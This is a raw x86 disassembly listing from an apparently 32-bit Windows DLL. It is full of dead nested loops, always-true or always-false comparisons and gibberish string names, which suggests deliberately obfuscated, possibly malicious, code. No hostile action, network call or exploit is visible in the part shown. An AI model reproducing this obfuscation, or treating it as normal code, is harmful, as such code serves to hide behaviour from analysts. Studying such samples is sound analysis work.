neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
xor eax, eax
inc edx
cmp ecx, edx
mov ecx, 0xd4856cd8
setl al
cmp ecx, eax
mov eax, dword [ebp - 0x214]
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax + 4]
jle 0x1002064b
mov dword [ebp - 0x2d8], edx
mov dword [ebp - 0x314], edx
mov dword [ebp - 0x400], esi
mov dword [ebp - 0x28], 0x7725
cmp dword [ebp - 0x28], 0x7815
jle 0x100205be
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], 0x1055
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x20]
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007cb18
xor eax, ebx
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0x5ced
jl 0x10020579
inc esi
push 0
pop ebx
cmp esi, 0x4f6
jl 0x10020574
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
add ecx, eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
jne 0x10020572
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x7b24
jl 0x10020568
push 0x2694
lea eax, [ebp - 0x2d8]
push eax
lea eax, [ebp - 0x314]
push eax
push ecx
push 0x214c
lea eax, [ebp - 0x300]
push eax
push ebx
sub esp, 0xc
lea eax, [ebp - 0x100]
lea edx, [ebp - 0x328]
lea ecx, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1001c44b
add esp, 0x30
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x28], 0x7536
jge 0x100206a4
mov edx, str.betzmm_lunnzg_lnkr
mov ecx, 0x1007cb18
call fcn.100134d2
jmp 0x100206a4
push 0x2220
push 0xf55
push ecx
mov dword [ebp - 0x304], 0x374f
lea ecx, [ebp - 0x304]
xor dl, dl
call fcn.1001d19b
add esp, 0xc
mov byte [ebp - 0x86], bl
xor eax, eax
mov edx, 0x596b
inc eax
mov ecx, 0x1a1b
push eax
push ebx
push eax
push 0x582c
push 0x28f5
lea eax, [ebp - 0x86]
push eax
push 0x2f96
call fcn.1001aa20
add esp, 0x1c
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x214], 0
je 0x100206cf
push dword [ebp - 0x214]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
mov edi, dword [ebp - 0x1c]
mov eax, edi
cdq
idiv dword [ebp - 0x118]
mov cl, byte [ebp - 0x5d]
mov esi, edx
mov dl, byte [ebp - 0x52]
call fcn.10025a77
mov ecx, dword [ebp - 0x168]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.10025a77
mov esi, dword [ebp - 0xd8]
lea ecx, [ebp - 0x5d]
push 0x5fce
push 0x3b5e
push 0x7734
mov byte [edi + esi], al
lea eax, [ebp - 0x52]
push eax
push ebx
push 0x349c
push 0x52af
xor eax, eax
inc eax
push eax
push 0x52ac
push 0x4319
push ecx
mov dl, al
mov ecx, 0x71f
call fcn.1001e05f
add esp, 0x2c
xor ecx, ecx
inc edi
inc ecx
jmp 0x1002040b
push 0xfffffffffffffff8
pop edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x18], ebx
jmp 0x1002076c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x150], 0xe77d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002075b
mov dword [ebp - 0x18], ebx
jmp 0x10020788
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3ec], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10020777
push 0x341f
push 0x77d6
push ecx
push ecx
push 0x13f1
push 0x2608
push 0x577d
push 0x4f26
lea eax, [ebp - 0x5c]
mov edx, 0x27a5
push eax
push 0x2600
push 0x112b
push ecx
push 0x4305
push ecx
push 0x7011
push 0x4017
mov ecx, 0x12ba
call fcn.1001c57f
add esp, 0x40
mov dword [ebp - 0x5c], 2
cmp dword [ebp - 0x5c], ebx
jl 0x10020b71
mov dword [ebp - 0x38], 0x836b16b4
mov dword [ebp - 0x24], 0x24b
cmp dword [ebp - 0x24], 0x3f4
jle 0x10020898
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv esi
mov esi, dword [ebp - 0x28]
mov eax, edx
mov dword [ebp - 0x38], eax
cdq
idiv edi
mov eax, esi
mov ecx, edx
sar eax, cl
lea ecx, [ebp - 0x668]
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10020845
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x668]
call fcn.10001516
mov eax, dword [ebp - 0x38]
inc edi
cmp edi, 0x1f93
jl 0x10020824
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x13f
jl 0x10020817
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x124f
jl 0x10020812
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x7590
jl 0x1002080d
push 0xfffffffffffffff8
pop edi
mov dword [ebp - 0x20], 0xffffffff
cmp dword [ebp - 0x24], 0x196
jge 0x100208b3
push str.muzwt_ghlnjvvca_urfvw_atn_fbsjjlpey_pck
call fcn.10048d40
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
push 3
call fcn.100013b5
lea eax, [ebp - 0xa4]
mov dword [ebp - 4], 0x17
push eax
xor eax, eax
mov dword [ebp - 0x18], 0xc556123d
inc eax
mov dword [ebp - 0x28], 2
push eax
push 0xbc7
push 0x6ac3
push 0x7f49
push ebx
push eax
push 0x379f
push 0x4a19
push 0x68fd
mov dword [ebp - 0x30], edi
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x3c], 0x84094784
mov edx, 0x7f81
push 0x1a84
call fcn.1001e12c
xor ecx, ecx
mov dword [ebp - 0xa4], ebx
add esp, 0x2c
inc ecx
jmp 0x10020948
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x110], 2
inc dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], ecx
jl 0x10020931
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x150], ecx
xor eax, eax
test ecx, ecx
setne al
xor edx, edx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x150]
cmp ecx, eax
setne dl
mov dword [ebp - 0x3e8], edx
test edx, edx
je 0x100209cb
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp - 0x3ec]
mov eax, dword [ebp - 0x14c]
neg edx
cmp edx, eax
setl cl
test ecx, ecx
jle 0x100209af
cmp dword [ebp - 0x3e0], ebx
jne 0x100209af
mov edx, ebx
jmp 0x100209b2
xor edx, edx
inc edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x110], ecx
test ecx, ecx
je 0x100209cb
xor ecx, ecx
inc ecx
jmp 0x100209cd
mov ecx, ebx
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x2c]
jge 0x100209e7
mov eax, dword [ebp - 0x3ec]
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x144]
xor eax, eax
cmp dword [esi + 8], eax
sete al
cmp eax, dword [esi + 8]
jle 0x10020b19
mov dword [ebp - 0x2c], 0xeb13e27c
mov dword [ebp - 0x1c], ebx
jmp 0x10020a21
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x30c], 0xafff16ce
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10020a10
mov dword [ebp - 0x18], ebx
jmp 0x10020b0d
mov dword [ebp - 0x38], 0xf9c202d2
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x18], ebx
je 0x10020ad4
cmp dword [ebp - 0x308], 0x9815
je 0x10020a62
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x150], ebx
je 0x10020a62
xor ecx, ecx
inc ecx
jmp 0x10020a64
mov ecx, ebx
mov eax, dword [ebp - 0x308]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x308]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
mov dword [ebp - 0x38], edx
xor edx, edx
cmp dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0x4bf4d80a
jge 0x10020aa2
cmp dword [ebp - 0x2c], ebx
jne 0x10020aa2
mov edx, ebx
jmp 0x10020aa5
xor edx, edx
inc edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x150]
cmp edx, eax
setl cl
cmp ecx, dword [esi + 8]
je 0x10020ad4
xor eax, eax
inc eax
jmp 0x10020ad6
mov eax, ebx
mov dword [ebp - 0x20], eax
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x150]
test eax, eax
mov eax, dword [ebp - 0x110]
sete cl
mov dword [esi + 8], ecx
cmp eax, dword [ebp - 0x3c]
jne 0x10020b05
cmp dword [ebp - 0x28], ebx
je 0x10020b05
xor eax, eax
inc eax
jmp 0x10020b07
mov eax, ebx
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10020a2f
jmp 0x10020b25
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x150], ebx
jne 0x10020b4f
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x144]
call fcn.10048e11
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x13c], ebx
dec dword [ebp - 0x5c]
pop ecx
jmp 0x100207e6
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x144]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x13c], ebx
mov eax, dword [ebp - 0xd8]
push 9
pop esi
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
xor eax, eax
mov dword [ebp - 0x48], edi
inc eax
mov dword [ebp - 0xac], 0x3995
mov dword [ebp - 0x120], 0x1300d3b5
mov dword [ebp - 0x20], 0xeba424ac
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x18c], esi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x1c], ebx
jmp 0x10020bd5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5c0], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10020bc4
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x48]
test eax, eax
je 0x10020df3
mov eax, dword [ebp - 0x48]
xor edx, edx
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x48]
setle cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
sete cl
xor edx, edx
cmp ecx, 0xa2c7
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x48]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x120], ecx
cmp dword [ebp - 0x120], ebx
je 0x10020c55
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
cmp eax, 0x9052196d
setne cl
xor edx, edx
mov dword [ebp - 0xec], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
add eax, edx
je 0x10020ca6
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x20], ebx
jne 0x10020cbd
cmp dword [ebp - 0xec], ebx
je 0x10020df3
cmp dword [ebp - 0x18c], ebx
je 0x10020df3
push 4
lea ecx, [ebp - 0x290]
call fcn.100013b5
mov dword [ebp - 4], 0x18
lea ecx, [ebp - 0x29c]
mov dword [ebp - 0x40], 0x684a5798
mov dword [ebp - 0x40], 4
push 2
call fcn.100013b5
push 0x7c7a
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x360]
mov dword [ebp - 0x40], 0x4b46
lea edx, [ebp - 0x290]
push 0x564d
push ebx
push ecx
push eax
push 0x4683
push 0x32ab
push 0x15cb
push 0x4cbf
call fcn.1001b820
add esp, 0x3c
lea edx, [ebp - 0x360]
push 1
push ecx
lea ecx, [ebp - 0x29c]
call fcn.1001b730
pop ecx
pop ecx
push 0x25a
push ecx
lea eax, [ebp - 0x184]
mov edx, 0x4700
push eax
push ecx
push 0x52a2
push 0x2ffd
push 0x4a6c
mov cl, 1
call fcn.1001c8fd
add esp, 0x1c
mov edx, 0x1972
push 0x1dbe
push 1
push ecx
lea ecx, [ebp - 0x120]
call fcn.1001ef3e
add esp, 0xc
cmp dword [ebp - 0x29c], 0
je 0x10020dbf
push dword [ebp - 0x29c]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x29c], ebx
mov dword [ebp - 0x298], ebx
mov dword [ebp - 0x294], ebx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x290], 0
je 0x10020ead
push dword [ebp - 0x290]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x290], ebx
mov dword [ebp - 0x28c], ebx
mov dword [ebp - 0x288], ebx
jmp 0x10020ead
mov dword [ebp - 0x318], 0x4cc78b93
mov dword [ebp - 0x330], 0xfffffff9
mov dword [ebp - 0x310], esi
mov dword [ebp - 0x2c], 0x2bd9
cmp dword [ebp - 0x2c], 0x2ccd
jle 0x10020e47
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x1007cb18
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0xf60
jl 0x10020e21
inc esi
cmp esi, 0x4073
jl 0x10020e1f
push ecx
push 1
lea eax, [ebp - 0xec]
push eax
push ecx
lea eax, [ebp - 0x310]
push eax
push ecx
lea eax, [ebp - 0xac]
push eax
push ecx
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.1001db0d
add esp, 0x34
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x2c], 0x28ab
jge 0x10020ea9
mov edx, str.tas_tddkbri_imh_cpgf_xodvt_nsrflrbjw_qfsv_xjdotwjsy_mhy
mov ecx, 0x1007cb18
call fcn.100134d2
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x38], 0x149f
cmp dword [ebp - 0x38], 0x17fb
mov dword [ebp - 0x40], str.vsiem_tktu_myg_ukdmddhrj_nbn_rrtqcsp_jhe_miksnhk_pxk_oiurmrw_kds
jle 0x10020eff
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov eax, esi
mov ecx, 0x1007cb18
cdq
idiv ebx
or edx, edi
mov eax, edx
cdq
push edx
push eax
call fcn.10010bb7
inc ebx
cmp ebx, 0x2ded
jl 0x10020ecb
inc esi
push 0
pop ebx
cmp esi, 0x346
jl 0x10020ec8
inc edi
cmp edi, 0x248d
jl 0x10020ec6
mov eax, dword [ebp - 0x114]
dec eax
cmp eax, 0x2913
ja 0x1002305a
push 1
push ecx
call fcn.1001d7ae
push 0x62bb
lea eax, [ebp - 0x52]
mov edx, 0x26d0
push eax
lea eax, [ebp - 0x168]
push eax
push ebx
lea eax, [ebp - 0xd8]
push eax
push 0x4fc8
lea eax, [ebp - 0x350]
push eax
push 0x271a
xor eax, eax
lea ecx, [ebp - 0x114]
inc eax
push eax
push ecx
lea ecx, [ebp - 0x118]
push ecx
push 0x1954
push 0x126c
mov cl, al
call fcn.1001adfd
add esp, 0x3c
xor eax, eax
inc eax
xor dl, dl
mov ecx, 0x1a24
push eax
push 0xf51
push eax
call fcn.1001bdc6
add esp, 0xc
xor eax, eax
inc eax
mov ecx, 0x2a10
mov dl, al
push 0x1a1b
push eax
push 0x1007e82c
push 0x3faa
call fcn.1001c9fd
add esp, 0x10
lea ecx, [ebp - 0x208]
push 2
call fcn.100013b5
lea ecx, [ebp - 0x208]
mov dword [ebp - 4], 0x1c
push ecx
lea ecx, [ebp - 0x408]
xor eax, eax
push ecx
inc eax
push ecx
mov dword [ebp - 0xd4], eax
mov dl, al
mov dword [ebp - 0xdc], 0xfffffff9
mov ecx, 0x69f5
call fcn.1001d19b
add esp, 0xc
lea eax, [ebp - 0xdc]
lea ecx, [ebp - 0xd4]
lea edx, [ebp - 0x208]
push 0x5ef0
push eax
push 0x2e75
xor eax, eax
inc eax
push eax
push ecx
push eax
push eax
mov ecx, 0x7c0
call fcn.1001d272
add esp, 0x1c
mov dword [ebp - 0xd4], 0x1d
cmp dword [ebp - 0xd4], 0x19
jl 0x100211d5
xor eax, eax
mov dword [ebp - 0xdc], ebx
inc eax
cmp dword [ebp - 0xdc], 0xfffffffb
jle 0x100211ca
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jl 0x100211bf
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jg 0x100211b7
mov dword [ebp - 0x320], 0x45180735
lea ecx, [ebp - 0x22c]
push eax
call fcn.100013b5
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 0x1d
push eax
push 0x78db
push ebx
xor eax, eax
lea ecx, [ebp - 0x488]
push 0x6ee1
inc eax
mov edx, 0x3a32
push eax
push eax
push 0xa5f
call fcn.1001c2a8
mov dword [ebp - 0x2c], 0x3663
add esp, 0x1c
cmp dword [ebp - 0x2c], 0x39ec
jle 0x10021109
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x554]
or eax, edi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100210e2
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x554]
call fcn.10001516
inc esi
cmp esi, 0x1e1
jl 0x100210c6
inc edi
cmp edi, 0x2320
jl 0x100210c4
cmp dword [ebp - 0x2c], 0x35a3
jge 0x1002111d
push str.ncxcfw_jbtdo_xhsat_wybdm_enoleqrz_qst_cmgavytmg_wtzdduej_ixf_bps_tsbzluuw
call fcn.10048d40
pop ecx
push 0x6c16
push 0x4200
lea eax, [ebp - 0x320]
mov dword [ebp - 4], 0x1d
push eax
push 0x1bc4
push 0x48eb
push 1
push ecx
mov edx, 0x7d36
lea ecx, [ebp - 0x22c]
call fcn.1001d44d
add esp, 0x1c
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x22c], 0
je 0x10021180
push dword [ebp - 0x22c]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
inc dword [ebp - 0x20]
xor eax, eax
inc eax
jmp 0x10021060
dec dword [ebp - 0x28]
jmp 0x10021051
dec dword [ebp - 0xdc]
jmp 0x1002103e
dec dword [ebp - 0xd4]
jmp 0x10021028
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x208], 0
je 0x10021200
push dword [ebp - 0x208]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x200], ebx
mov eax, dword [ebp - 0xd8]
lea ecx, [ebp - 0x1d8]
add eax, 4
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xe0], 1
push 2
mov dword [ebp - 0x2c], eax
call fcn.100013b5
mov dword [ebp - 4], 0x20
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x2a0], 0xafe44fa3
mov dword [ebp - 0x2d4], 0xb187b35f
push 3
call fcn.100013b5
push ecx
push ecx
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 0x21
push eax
push 0x6d58
lea eax, [ebp - 0x2c0]
push eax
push 0x4425
sub esp, 0x10
push 1
push ecx
call fcn.1001d616
lea eax, [ebp - 0x1c0]
mov ecx, 0x3806
push eax
xor eax, eax
lea edx, [ebp - 0x2c0]
inc eax
push eax
push 0x2e06
push 0x2a63
push 0x4e22
push 0x2b1c
push 0x4634
push eax
push 0x3dc5
push eax
push 0xc0d
push 0x76ec
push 0x35da
call fcn.1001d859
add esp, 0x64
mov dword [ebp - 0xe0], ebx
cmp dword [ebp - 0xe0], 0xc
jge 0x100213bd
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x24], 0xfb9
cmp dword [ebp - 0x24], 0x1395
jle 0x1002134b
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
lea ecx, [ebp - 0x56c]
or eax, esi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021316
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x56c]
call fcn.10001516
mov eax, dword [ebp - 0x20]
inc esi
cmp esi, 0x9e4
jl 0x100212fa
inc edi
cmp edi, 0x3c78
jl 0x100212f8
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x4e71
jl 0x100212f6
cmp dword [ebp - 0x24], 0xeea
jge 0x1002135f
push str.ydeqpdak_ueo_lnw
call fcn.10048d40
pop ecx
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x1c], ebx
jmp 0x1002137c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5e4], 0x36951ad3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002136b
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 2
jg 0x100213b2
push 1
push ecx
mov dword [ebp - 0x2bc], 0xfffffffc
lea edx, [ebp - 0x2bc]
push ecx
call fcn.1001d9e5
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002138b
xor ebx, ebx
inc dword [ebp - 0xe0]
jmp 0x100212cd
push 0x6132
push 0x62db
push 0x6bc2
push 0x7c04
lea eax, [ebp - 0xe0]
push eax
push 0x273d
xor eax, eax
lea ecx, [ebp - 0x1c0]
inc eax
push eax
push 0x6557
push 0x5dce
push ecx
push 0x7cd8
lea ecx, [ebp - 0x2a0]
push ecx
push 0x57e
lea ecx, [ebp - 0x2d4]
push ecx
push 0x24e3
push 0x3faa
push 0x50e5
push eax
push eax
push 0x5f20
lea ecx, [ebp - 0x1d8]
call fcn.1001dd21
add esp, 0x50
cmp dword [ebp - 0x1c0], 0
je 0x10021455
push dword [ebp - 0x1c0]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1d8], 0
je 0x10021480
push dword [ebp - 0x1d8]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1d8], ebx
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0x1d0], ebx
push 2
lea ecx, [ebp - 0x198]
call fcn.100013b5
push 0x3516
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x1c], 0xffffffff
push eax
push 0x3ac1
push 0xccb
push 0x2a59
push 0x66f3
xor eax, eax
mov dword [ebp - 0x24], 0xf3690f1d
inc eax
lea ecx, [ebp - 0x198]
push eax
push 0x1d73
push 0x389f
push ecx
push 0x4c83
push eax
push 0x7b0b
push ebx
mov edx, 0x3432
mov ecx, 0x2713
call fcn.1001b8fc
mov dword [ebp - 0x1c], ebx
add esp, 0x38
cmp dword [ebp - 0x1c], 1
jg 0x100215d9
push 0xfffffffffffffff8
pop edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x4c], 0xb5a5efa2
mov dword [ebp - 0x24], 0x735e4b78
mov dword [ebp - 0x28], 0x4b2ab76d
mov dword [ebp - 0x34], ebx
jmp 0x1002152c
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x4e4], 6
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1002151b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x198]
cmp dword [eax + ecx*4], ebx
je 0x1002154b
mov dword [ebp - 0x24], ebx
inc dword [ebp - 0x24]
jmp 0x100215cc
mov dword [ebp - 0x30], 0xb586
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], ebx
jmp 0x1002156b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x484], 0x8f3b8c10
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1002155a
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x4e4]
add ecx, 2
cmp ecx, eax
mov eax, dword [ebp - 0x198]
setg dl
xor ecx, ecx
cmp edx, dword [eax + 4]
setg cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x480]
mov eax, dword [ebp - 0x480]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
imul eax, dword [ebp - 0x3c]
cmp edx, eax
je 0x100215b6
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x100214fe
cmp dword [ebp - 0x198], 0
je 0x10021600
push dword [ebp - 0x198]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
push 0x17aa
push 0x4954
push 0x56e3
push 0x2aaf
xor eax, eax
mov byte [ebp - 0x94], bl
inc eax
mov dword [ebp - 0x93], 0xde210330
push eax
push 0x5535
push 0x2c57
push eax
push 0x5d29
push 0x277a
push 0x1bbf
mov dl, al
mov byte [ebp - 0x8f], 0xfc
mov ecx, 0x6f8a
call fcn.1001e05f
add esp, 0x2c
push 0xa
pop eax
mov word [ebp - 0xd0], ax
mov dword [ebp - 0x34], 0x133f
cmp dword [ebp - 0x34], 0x16a6
jle 0x100216f9
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edx, ecx
mov edi, ebx
mov ecx, eax
shl edx, cl
mov dword [ebp - 0x24], edx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x590]
xor eax, edi
xor eax, edx
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100216b2
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x590]
call fcn.10001516
mov edx, dword [ebp - 0x24]
inc esi
cmp esi, 0x6b33
jl 0x10021694
inc edi
cmp edi, 0x167b
jl 0x10021692
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x530f
jl 0x10021687
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x133b
jl 0x10021682
push 2
lea ecx, [ebp - 0x1f0]
call fcn.100013b5
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x28], 0x7a10dd66
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], 0x73de
cmp dword [ebp - 0x24], 0x776c
jle 0x1002176e
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x20]
mov eax, esi
mov ecx, 0x1007cb18
xor eax, edi
or eax, ebx
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0x41c3
jl 0x10021738
inc esi
push 0
pop ebx
cmp esi, 0x3bbe
jl 0x10021733
mov eax, dword [ebp - 0x20]
inc eax
